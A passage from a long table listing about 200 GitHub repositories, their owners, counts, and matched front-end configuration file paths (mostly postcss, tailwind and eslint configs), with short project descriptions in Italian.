Homeopathway | | | 59 | digitalschool-tech/tech-static | digitalschool-tech | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 60 | tricodenetwork/lock-up | tricodenetwork | Organization | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 61 | Sahl-AI/sahl-ai-iframe | Sahl-AI | Organization | 0 | 0 | 1 | tailwind.config.js | Contiene l'app demo React per testare l'approccio iframe. | | | 62 | dawahanigeria-team/domainping | dawahanigeria-team | Organization | 0 | 0 | 1 | frontend/tailwind.config.js | | | | 63 | shahid538org/microrealestate | shahid538org | Organization | 0 | 0 | 1 | webapps/landlord/tailwind.config.js | | | | 64 | orynth-dev/vite-shadcn-template | orynth-dev | Organization | 0 | 0 | 1 | tailwind.config.js | | | | 65 | FlowBondTech/egator | FlowBondTech | Organization | 0 | 0 | 1 | apps/web/tailwind.config.js | AIeGator - AI-powered event aggregation engine (ETHDenver via Luma) | | | 66 | sparktechagency/u_tee_hub | sparktechagency | Organization | 0 | 0 | 1 | tailwind.config.js | | | | 67 | Enigma-Incorporated-Ltd/N0DE-Website | Enigma-Incorporated-Ltd | Organization | 0 | 0 | 2 | tailwind.config.js | src/tailwind.config.js | | | | 68 | FSDTeam-SAA/AMES_Investment_new | FSDTeam-SAA | Organization | 0 | 0 | 1 | tailwind.config.js | | | | 69 | Frontier-tech-consulting/olas-mcp-application-workflow | Frontier-tech-consulting | Organization | 0 | 0 | 1 | docs/tailwind.config.js | Consiste nel corrispondente flusso di lavoro del mockup UI relativo all'ecosistema Olas (per consentire agli utenti di eseguire l'applicazione MCP per interazioni on-chain). | | | 70 | Softvence-Omega-Dev-Ninjas/vic_pec_server_app | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 71 | Softvence-Omega-Dev-Ninjas/jdadzok_server | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 72 | Binary-Mindz/agimtula_server | Binary-Mindz | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 73 | Softvence-Omega-Dev-Ninjas/alvaaro-server | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 74 | Softvence-Omega-Cyber-Monk/nishant-server | Softvence-Omega-Cyber-Monk | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 75 | softvence-omega-future-stack/huss-be | softvence-omega-future-stack | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 76 | BhavikPatel-dreamz/Products-filters-react | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | src/App.js | | | | 77 | Victorola-coder/tewo | Victorola-coder | User | 9 | 6 | 1 | tailwind.config.js | tewosimi boboyi, ebi n pami | | | 78 | Atik203/Scholar-Flow | Atik203 | User | 4 | 4 | 1 | apps/frontend/postcss.config.mjs | ScholarFlow è una piattaforma SaaS progettata per ricercatori, studenti, professori e team accademici per caricare, organizzare e revisionare articoli di ricerca con raccolte, annotazioni, ricerca e collaborazione di team in una libreria di ricerca condivisa. | | | 79 | Kreliannn/Document-Request-System-FRONTEND | Kreliannn | User | 8 | 1 | 1 | postcss.config.mjs | Un sistema basato sul web che consente ai residenti di richiedere documenti barangay online senza visitare la sala barangay. I residenti possono tracciare lo stato della richiesta, ricevere notifiche email e visualizzare la cronologia delle richieste. L'amministratore barangay può gestire le richieste, aggiornare gli stati e tracciare la cronologia delle transazioni. | | | 80 | coderkhalide/Anti-Detect-Browser | coderkhalide | User | 2 | 4 | 1 | src/renderer/tailwind.config.js | | | | 81 | WeerasingheMSC/ASMS_Frontend | WeerasingheMSC | User | 1 | 4 | 1 | asms_frontend/postcss.config.mjs | Sistema full-stack di registrazione del tempo di servizio e appuntamenti per automobili costruito con Next.js, TypeScript, TailwindCSS e Ant Design per il frontend. Include portali per clienti e dipendenti, tracciamento del servizio in tempo reale, prenotazione appuntamenti, registrazione del tempo e deployment containerizzato. | | | 82 | fsdteam8/n_Krypted-frontend | fsdteam8 | User | 0 | 4 | 1 | postcss.config.mjs | | | | 83 | tanushbhootra576/Bionary-Website-Challenge-and-final | tanushbhootra576 | User | 4 | 2 | 1 | bionary_website/tailwind.config.js | | | | 84 | Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND | Kreliannn | User | 7 | 0 | 1 | postcss.config.mjs | Un'app web che utilizza l'IA per trasformare file PDF in un revisore di tipo domande e risposte. L'utente può personalizzare l'output generato prima di salvarlo. L'utente può rivedere e fare quiz personalizzabili utilizzando quel revisore generato dall'IA. | | | 85 | tanushbhootra576/collegeConnect | tanushbhootra576 | User | 5 | 1 | 1 | postcss.config.mjs | | | | 86 | brown2020/ikigaifinder | brown2020 | User | 4 | 1 | 1 | postcss.config.mjs | | | | 87 | Kreliannn/commision_portfolio | Kreliannn | User | 6 | 0 | 1 | postcss.config.mjs | | | | 88 | coderkhalide/Trading-Journal | coderkhalide | User | 4 | 1 | 1 | postcss.config.mjs | Diario di trading professionale per tracciare, analizzare e migliorare le tue performance di trading attraverso diversi sistemi e periodi di tempo. | | | 89 | tanushbhootra576/weather | tanushbhootra576 | User | 4 | 1 | 1 | postcss.config.mjs | progetto hackathon | | | 90 | Kreliannn/student-passed-rate-analysis-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 91 | Kreliannn/pharmacy-management-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 92 | Kreliannn/Employee-management-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 93 | Kreliannn/e-commerce-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 94 | umarabid123/The_INTERNET_OF_AGENTS_HACKATHON | umarabid123 | User | 1 | 2 | 1 | frontend/postcss.config.mjs | | | | 95 | ahmadraza382/FinanceAi | ahmadraza382 | User | 3 | 1 | 1 | tailwind.config.js | Finance Ai Coach | | | 96 | tanushbhootra576/turbo-happiness | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 97 | shaheeer-dev/sketchers | shaheeer-dev | User | 0 | 2 | 1 | postcss.config.mjs | | | | 98 | tanushbhootra576/game | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 99 | tanushbhootra576/GridSaga | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 100 | senulahesara/devkit | senulahesara | User | 2 | 1 | 1 | postcss.config.mjs | Strumenti essenziali, prestazioni fulminee e funzionalità pronte offline - costruiti per semplificare il tuo flusso di lavoro e tenerti concentrato su ciò che conta: scrivere codice eccellente. | | | 101 | tanushbhootra576/week3-forms-and-inputs | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 102 | tanushbhootra576/PW-app | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 103 | tanushbhootra576/RESTRO | tanushbhootra576 | User | 4 | 0 | 1 | tailwind.config.js | | | | 104 | tanushbhootra576/MoodSync | tanushbhootra576 | User | 4 | 0 | 1 | App.js | | | | 105 | Amanbanti/Capstone | Amanbanti | User | 1 | 1 | 1 | frontend/postcss.config.mjs | Il Progetto Capstone è un'esperienza accademica e pratica culminante per gli studenti sia del programma di Ingegneria del Software (SE) che di Informatica e Ingegneria Informatica (CSE). | | | 106 | ShifaLabs/shifa | ShifaLabs | User | 1 | 1 | 1 | postcss.config.mjs | Shefa è una piattaforma di telemedicina basata sul web che consente ai pazienti di consultare medici verificati tramite videochiamate in-app in tempo reale, ricevere prescrizioni digitali e gestire la propria assistenza sanitaria a distanza in un ambiente sicuro e professionale. Questo è un sistema deployabile di livello produttivo, non una demo o un mock-up accademico. | | | 107 | SouravDn-p/mobile-canvas-nextjs | SouravDn-p | User | 1 | 1 | 1 | postcss.config.mjs | MobileCanvas è una moderna piattaforma e-commerce full-stack focalizzata sulla vendita di gadget e dispositivi mobili. Costruita con Next.js, Redux Toolkit e MongoDB, offre un'esperienza di acquisto sicura, reattiva e senza interruzioni per gli utenti e potenti strumenti di gestione per gli amministratori. | | | 108 | RinSanom/IoTWeb | RinSanom | User | 1 | 1 | 1 | postcss.config.mjs | | | | 109 | kanchana404/Google-bussiness-api-Get-reviews-and-Reply-reviews | kanchana404 | User | 1 | 1 | 1 | postcss.config.mjs | | | | 110 | Salman1205/MailAssist | Salman1205 | User | 1 | 1 | 1 | postcss.config.mjs | Piattaforma di supporto clienti basata sull'IA con integrazione Gmail, ticketing intelligente, risposte automatiche, integrazione Shopify e collaborazione di team in tempo reale. | | | 111 | Yassin-Younis/bypass-in-app-browser | Yassin-Younis | User | 3 | 0 | 1 | next.config.mjs | Bypassa i browser in-app delle app dei social media come Instagram, Facebook, TikTok e altri. Invia gli utenti al loro browser nativo quando cliccano sui tuoi annunci sui social media per migliorare l'engagement, il tracciamento accurato e aumentare le conversioni. | | | 112 | Lithira-Silva/TrueClaim---ITPM- | Lithira-Silva | User | 2 | 0 | 1 | client/postcss.config.mjs | TrueClaim — Un sistema intelligente di gestione delle richieste di risarcimento sviluppato come progetto ITPM presso SLIIT (Anno 3, Semestre 2). Costruito con lo stack MERN per semplificare e automatizzare il processo di richiesta di risarcimento assicurativo con precisione ed efficienza. | | | 113 | maaz-bin-hassan/sahoolat-web-new | maaz-bin-hassan | User | 2 | 0 | 1 | postcss.config.mjs | | | | 114 | Pramadu2001/ITPM_MODUS | Pramadu2001 | User | 0 | 1 | 1 | my-app/postcss.config.mjs | Progetto di gestione di progetti informatici e tecnologici del 3° anno 2° semestre, che è la piattaforma di apprendimento MODUS. | | | 115 | abimtad/upload_file | abimtad | User | 0 | 1 | 1 | postcss.config.mjs | | | | 116 | anilgoswamistartbitsolutions/travel-platform | anilgoswamistartbitsolutions | User | 0 | 1 | 3 | sites/holidaydeals/postcss.config.mjs | travel_template/package/postcss.config.mjs | travel_template/old/postcss.config.mjs | | | | 117 | AhsanalyOfficial/ahsan_portfolio | AhsanalyOfficial | User | 0 | 1 | 1 | postcss.config.mjs | | | | 118 | HevenDev/rmw-new-design | HevenDev | User | 0 | 1 | 1 | postcss.config.mjs | | | | 119 | anilgoswamistartbitsolutions/travel-payload-sites | anilgoswamistartbitsolutions | User | 0 | 1 | 2 | sites/holidaydeals/postcss.config.mjs | sites/luxurytravels/postcss.config.mjs | | | | 120 | dhruvmalik007/solana-colossum-hackathon | dhruvmalik007 | User | 0 | 1 | 2 | apps/web/postcss.config.mjs | packages/ui/postcss.config.mjs | costruire un mercato di previsioni per la piattaforma di investimento tematica per portafogli di investimento sostenibili. | | | 121 | Tiewasters99/AI_Law_Wizard | Tiewasters99 | User | 0 | 1 | 1 | postcss.config.mjs | | | | 122 | coderkhalide/scalping-trading-tools | coderkhalide | User | 0 | 1 | 1 | postcss.config.mjs | Configura e valuta le tue voci di trading con fattori ponderati, valutazione dei singoli fattori, punti bonus e voti in lettere. | | | 123 | monazahmed/Agrismart-project- | monazahmed | User | 0 | 1 | 1 | postcss.config.mjs | | | | 124 | Gowreesh-VT/SherlockIT | Gowreesh-VT | User | 0 | 1 | 1 | postcss.config.mjs | | | | 125 | webprogramminghack/b3-practice-30 | webprogramminghack | User | 0 | 1 | 1 | postcss.config.mjs | | | | 126 | Salman1205/Mail-Assist-CRM | Salman1205 | User | 2 | 0 | 1 | postcss.config.mjs | | | | 127 | AbdulwahidHusein/Shipper-chat | AbdulwahidHusein | User | 2 | 0 | 1 | frontend/postcss.config.mjs | | | | 128 | michelzappy/zappy-scratch-091225 | michelzappy | User | 0 | 1 | 1 | frontend/tailwind.config.js | | | | 129 | Ali-Hamas/Learn_Hub | Ali-Hamas | User | 0 | 1 | 1 | frontend/tailwind.config.js | LearnHub - Piattaforma di apprendimento multi-istruttore con FastAPI, React, MongoDB, Pagamenti Stripe e Tutor IA. | | | 130 | VALENSAPP/coin_backend | VALENSAPP | User | 0 | 1 | 1 | eslint.config.mjs | Repository backend. | | | 131 | QaisarWaheed/Aluminum-POS | QaisarWaheed | User | 0 | 1 | 1 | eslint.config.mjs | | | | 132 | Abdulbasit219/UPSkaleAI | Abdulbasit219 | User | 1 | 0 | 1 | postcss.config.mjs | App UP SKale AI per studenti (apprendisti) e (guadagnatori) (Progetto FYP). | | | 133 | Satyam3002/nextauth | Satyam3002 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 134 | ahmadraza382/Hospital-management-system | ahmadraza382 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 135 | AKDebug-UX/challengePR | AKDebug-UX | User | 1 | 0 | 1 | postcss.config.mjs | | | | 136 | Ruwanima/ella-south-star-frontend | Ruwanima | User | 1 | 0 | 1 | postcss.config.mjs | | | | 137 | ahmadraza382/Luxeurs-Shopping-Store | ahmadraza382 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 138 | ahmadraza382/Portfolio | ahmadraza382 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 139 | Ayesha-Siddiqui1234/katy-youth-hackathon-2025-dev-post- | Ayesha-Siddiqui1234 | User | 1 | 0 | 1 | frontend/postcss.config.mjs | il nostro team ha partecipato all'hackathon katy yoth 2025 e stiamo costruendo un sito web completamente funzionale con un chatbot integrato che sarebbe qualcosa come un consulente di carriera che guida gli studenti nel loro percorso professionale. | | | 140 | WimpyvL/Zappy-Health-Dashboard | WimpyvL | User | 1 | 0 | 1 | postcss.config.mjs | | | | 141 | ifedolapoomoniyi/fleet-robotics | ifedolapoomoniyi | User | 1 | 0 | 1 | postcss.config.mjs | | | | 142 | muhammad-tahir-sultan/rehman-fyp-nextjs-multivendor | muhammad-tahir-sultan | User | 1 | 0 | 1 | postcss.config.mjs | | | | 143 | vkrms/wizard | vkrms | User | 1 | 0 | 1 | postcss.config.mjs | react multi-step form training project | | | 144 | Atik203/VocabPrep | Atik203 | User | 1 | 0 | 1 | frontend/postcss.config.mjs | Un'applicazione web moderna e mirata per aiutarti a costruire e padroneggiare il vocabolario inglese attraverso apprendimento interattivo, sessioni di pratica e monitoraggio dei progressi. | | | 145 | web-ghoul/Portfolio | web-ghoul | User | 1 | 0 | 1 | postcss.config.mjs | include i miei progetti, le mie esperienze, i miei certificati, i miei contatti. | | | 146 | AbdulwahidHusein/ai-tools-directory | AbdulwahidHusein | User | 1 | 0 | 1 | postcss.config.mjs | | | | 147 | AhmadRazaKhokhar1/resturants-app | AhmadRazaKhokhar1 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 148 | ishivamgaur/Ap-news-next-js | ishivamgaur | User | 1 | 0 | 1 | postcss.config.mjs | AP News è un'applicazione di notizie basata su Next.js che fornisce contenuti di notizie categorizzati come politica, sport, tecnologia, intrattenimento e aggiornamenti in tempo reale con prestazioni veloci, ottimizzazione SEO e rendering lato server. | | | 149 | amMubbasher/cleannami.ceenami-old | amMubbasher | User | 1 | 0 | 1 | postcss.config.mjs | | | | 150 | AbdulwahidHusein/crawler-dashboard | AbdulwahidHusein | User | 1 | 0 | 1 | postcss.config.mjs | | | | 151 | SouravDn-p/RexAuction | SouravDn-p | User | 1 | 0 | 1 | tailwind.config.js | Un'applicazione web di aste in tempo reale costruita per esperienze di offerte dal vivo, combinando funzionalità avanzate come aggiornamenti istantanei, offerte intelligenti e comunicazione in tempo reale tra gli utenti. | | | 152 | AKDebug-UX/interactive-tv-app | AKDebug-UX | User | 1 | 0 | 1 | tailwind.config.js | | | | 153 | usman-174/VidSpark | usman-174 | User | 1 | 0 | 1 | client/tailwind.config.js | | | | 154 | NatyJoseDie/proyecto-nginx | NatyJoseDie | User | 1 | 0 | 1 | eslint.config.mjs | | | | 155 | AKDebug-UX/DoneWithIt | AKDebug-UX | User | 1 | 0 | 1 | App.js | | | | 156 | dhruvmalik007/forensics-board | dhruvmalik007 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 157 | Rahulkumarhavit/ProStore-Ecommerce | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 158 | Bart3kL/shopify-components | Bart3kL | User | 0 | 0 | 1 | polaris-components/postcss.config.mjs | | | | 159 | mjatin-dev/logic-zephyr | mjatin-dev | User | 0 | 0 | 1 | postcss.config.mjs | | | | 160 | umrasghar/heygen-demo | umrasghar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 161 | thanhdanh111/challenge | thanhdanh111 | User | 0 | 0 | 2 | Problem-2/postcss.config.mjs | Problem-3/postcss.config.mjs | | | | 162 | hamza-nafasat/rentin-frontend | hamza-nafasat | User | 0 | 0 | 1 | postcss.config.mjs | | | | 163 | rejoan121615/ClientOps | rejoan121615 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | ClientOps è un dashboard operativo interno full-stack progettato per agenzie e piccole imprese per gestire clienti, progetti, membri del team e flussi di lavoro in modo sicuro. | | | 164 | SouravDn-p/CMR | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 165 | EmanDeveloper/EasyTech | EmanDeveloper | User | 0 | 0 | 1 | postcss.config.mjs | | | | 166 | addis-ale/25-5-clock | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 167 | MSCPerera/Job-Board-App | MSCPerera | User | 0 | 0 | 1 | job-board-app/postcss.config.mjs | | | | 168 | Nathanim1919/nextjs-project | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 169 | TimothyBabatu13/AegisHealth-Smart | TimothyBabatu13 | User | 0 | 0 | 1 | aegis-health-smart/postcss.config.mjs | | | | 170 | Senti-fi/Senti.fi | Senti-fi | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 171 | Zentaurios/stable-monitor | Zentaurios | User | 0 | 0 | 1 | postcss.config.mjs | | | | 172 | SouravDn-p/Frontend-task | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 173 | Storaboy11/meerge | Storaboy11 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 174 | ahmedghonim/esraa | ahmedghonim | User | 0 | 0 | 1 | postcss.config.mjs | | | | 175 | vrunda310/AIA-VEGA-Frontend | vrunda310 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 176 | emmanueldavidson96/popular_saas_product_landing_page | emmanueldavidson96 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 177 | pratikp72/deal-Project | pratikp72 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 178 | Al-amin07/file_sure | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 179 | waris-ansar/finstar | waris-ansar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 180 | MianHaziq/LKnight-Lms | MianHaziq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 181 | pankajkhadse/TrustBasket | pankajkhadse | User | 0 | 0 | 1 | postcss.config.mjs | | | | 182 | adnaan-2/content-generation | adnaan-2 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 183 | malikjunaidhassann/seller-panel | malikjunaidhassann | User | 0 | 0 | 1 | postcss.config.mjs | | | | 184 | mdnuruzzamannirob/your-capture-awards-dashboard | mdnuruzzamannirob | User | 0 | 0 | 1 | postcss.config.mjs | | | | 185 | Minahil48/NY-caffine | Minahil48 | User | 0 | 0 | 1 | postcss.config.mjs | Tutte le tue voglie in un unico posto | | | 186 | FrazKhan1/dev-team-chat | FrazKhan1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 187 | jrioscloud/financial-document-analyzer | jrioscloud | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 188 | seemab-ahmed/rodopi | seemab-ahmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 189 | JudeTejada/digital-pods | JudeTejada | User | 0 | 0 | 1 | postcss.config.mjs | | | | 190 | msuhels/RapidProject-Pos-System | msuhels | User | 0 | 0 | 1 | postcss.config.mjs | | | | 191 | Al-amin07/project_5_frontend | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 192 | abdullah2310ishaq/afronaut | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 193 | Jaskaran2701/Test-1 | Jaskaran2701 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 194 | Deepanshu7-bit/nugen-interns | Deepanshu7-bit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 195 | saifullah-max/bublr | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 196 | Meet2054/automa8x-production-new | Meet2054 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 197 | bharatbrovitech/india-to-germany | bharatbrovitech | User | 0 | 0 | 1 | postcss.config.mjs | | | | 198 | PremShakti/PanchangCalendar | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 199 | Pa-ppy/Checkout | Pa-ppy | User | 0 | 0 | 1 | postcss.config.mjs | | | | 200 | Atif-Hameed/als-admin | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 201 | Dawit212119/Devodemy | Dawit212119 | User | 0 | 0 | 1 | postcss.config.mjs | Costruisci un LMS utilizzando Nextjs, React, Stripe, Mux, next app router, Prisma, Strip, Mysql, Docker, AWS Lambda, Redux Toolkit, Tailwind CSS, Shadcn, TypeScript, Zod, AWS S3, AWS CloudFront, Clerk. | | | 202 | SouravDn-p/NextManager-YourInventoryManager | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Next.js Inventory Manager Un sistema di gestione dell'inventario full-stack costruito con Next.js 14 App Router, Tailwind CSS, MongoDB e Redux Toolkit (RTK Query). Questa app supporta sia l'autenticazione sociale tramite NextAuth.js (Google, GitHub) che il login tradizionale con email/password utilizzando JWT. | | | 203 | ranjannkumar/Token-Vesting-App | ranjannkumar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 204 | Usamahafiz8/fetchdetails | Usamahafiz8 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 205 | freelancework00700/CRM-test-task | freelancework00700 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 206 | ahmadraza382/APIs-integration | ahmadraza382 | User | 0 | 0 | 1 | postcss.config.mjs | Ottieni dati dalle API solo per pratica e rough. | | | 207 | akashmuhammadabrrar/Resume-builder-NextTypescript | akashmuhammadabrrar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 208 | abimtad/Customer-feedback | abimtad | User | 0 | 0 | 1 | postcss.config.mjs | | | | 209 | SanjayaPrasadRajapaksha/Blog_App | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 210 | MunibQazi12/next-starter-template | MunibQazi12 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 211 | PremShakti/multi-tenet-school-profile-app | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 212 | mirzaghalib4726/committee-system-next | mirzaghalib4726 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 213 | ChiraniSiriwardhana/Spirit11 | ChiraniSiriwardhana | User | 0 | 0 | 1 | postcss.config.mjs | Un sistema di autenticazione sicuro e facile da usare. | | | 214 | developerdesigner18/Frontend-Task | developerdesigner18 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 215 | noors-code/Account-Settings | noors-code | User | 0 | 0 | 1 | postcss.config.mjs | | | | 216 | finom/vovk-hello-world | finom | User | 0 | 0 | 1 | postcss.config.mjs | Vovk.ts Hello World App | | | 217 | Yashpreetrana4790/Bestvocabulary_platform | Yashpreetrana4790 | User | 0 | 0 | 1 | postcss.config.mjs | Sito web per l'apprendimento del vocabolario. | | | 218 | Atif-Hameed/unsigned-admin | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 219 | saifullah-max/mandviwalla-mauser | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 220 | Navoda001/Solana | Navoda001 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 221 | wolfstudiosai/braxx-frontend-v2 | wolfstudiosai | User | 0 | 0 | 1 | postcss.config.mjs | | | | 222 | cywasay/neorecruits- | cywasay | User | 0 | 0 | 1 | postcss.config.mjs | | | | 223 | raoarafat/steelh-website | raoarafat | User | 0 | 0 | 1 | postcss.config.mjs | | | | 224 | Qasim-dev/stock-tracker | Qasim-dev | User | 0 | 0 | 1 | postcss.config.mjs | | | | 225 | teresagrobecker/pensio_consortia | teresagrobecker | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 226 | umarabid123/Raise-Your-Hack | umarabid123 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 227 | dhruvmalik007/xrpl_haks_hackathon_project | dhruvmalik007 | User | 0 | 0 | 1 | postcss.config.mjs | Invio per la competizione hack XRPL: sviluppo di un framework agente RAG per il monitoraggio dei prezzi e il market making di certificati di impatto. | | | 228 | addis-ale/EGA | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 229 | addis-ale/free_code_camp_task_01 | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | Compito di certificazione delle librerie front-end di Free Codecamp. | | | 230 | addis-ale/gd-landing-page | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 231 | Al-amin07/purple-cat-client | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 232 | Al-amin07/apparel-trade-bd | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 233 | Al-amin07/hyshin | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 234 | Al-amin07/web-programming-lab | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 235 | mdnuruzzamannirob/relo-website | mdnuruzzamannirob | User | 0 | 0 | 1 | postcss.config.mjs | | | | 236 | Harsimran-Nugen/assignment | Harsimran-Nugen | User | 0 | 0 | 1 | postcss.config.mjs | | | | 237 | cto-varun/user-crud-design-nextjs | cto-varun | User | 0 | 0 | 1 | postcss.config.mjs | | | | 238 | Aman-scripts/NugenEmployabilityTest | Aman-scripts | User | 0 | 0 | 1 | postcss.config.mjs | | | | 239 | akashstwt/inventory-management-majorproject | akashstwt | User | 0 | 0 | 1 | client/postcss.config.mjs | | | | 240 | akashstwt/TheGitcode | akashstwt | User | 0 | 0 | 1 | gitcodeweb/postcss.config.mjs | | | | 241 | Atif-Hameed/ALS-Panel | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 242 | umarabid123/store-forge | umarabid123 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 243 | addis-ale/discord | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 244 | addis-ale/hirecards-prod | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 245 | addis-ale/ega_updated | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 246 | addis-ale/group-match | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 247 | SanjayaPrasadRajapaksha/Hotel_Booking-Admin_Panel | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 248 | SanjayaPrasadRajapaksha/Todo_App | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | my-app/postcss.config.mjs | | | | 249 | PremShakti/Inventory-Todo-Manager | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 250 | fsdteam8/lowready-dashboard | fsdteam8 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 251 | badhon252/shift-scheduler | badhon252 | User | 0 | 0 | 1 | postcss.config.mjs | Costruito per semplificare il programma dei turni. | | | 252 | fsdteam8/stevenar77-dashboard | fsdteam8 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 253 | Atif-Hameed/unsigned-frontend | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 254 | Atif-Hameed/social-admin | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 255 | Atif-Hameed/cybenty | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 256 | anthemnandani/ai | anthemnandani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 257 | mijanConnect/the-piegeon-hub-website | mijanConnect | User | 0 | 0 | 1 | postcss.config.mjs | | | | 258 | Button-20/juzbuild | Button-20 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 259 | HyderYash/my-progess-tracker | HyderYash | User | 0 | 0 | 1 | postcss.config.mjs | | | | 260 | MohamedH1000/course | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 261 | nipun-imesh/sample-react | nipun-imesh | User | 0 | 0 | 1 | postcss.config.mjs | | | | 262 | sayyamButt317/ishout | sayyamButt317 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 263 | rvmediacorp/Headshot-Portland-Official | rvmediacorp | User | 0 | 0 | 1 | postcss.config.mjs | | | | 264 | Sawjal-sikder/faceAi-front-end | Sawjal-sikder | User | 0 | 0 | 1 | postcss.config.mjs | | | | 265 | SanjayaPrasadRajapaksha/E-Commerce | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 266 | Rahulkumarhavit/multi-tenant-architecture | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 267 | Mohsin-Javed48/connectors-nextJs | Mohsin-Javed48 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 268 | Axxi3/hennery | Axxi3 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 269 | UzairAhmedDahraj/clickup-nextjs-demo | UzairAhmedDahraj | User | 0 | 0 | 1 | postcss.config.mjs | | | | 270 | Mike-flowbiz/Flowbiz-backend | Mike-flowbiz | User | 0 | 0 | 1 | postcss.config.mjs | API backend per FlowBiz – Node.js, PostgreSQL, JWT, servizio PDF. | | | 271 | phillipshepard1/internal-re-crm | phillipshepard1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 272 | mahadi-zulfiker/mz-events-frontend | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Un frontend moderno, reattivo e ricco di funzionalità per la 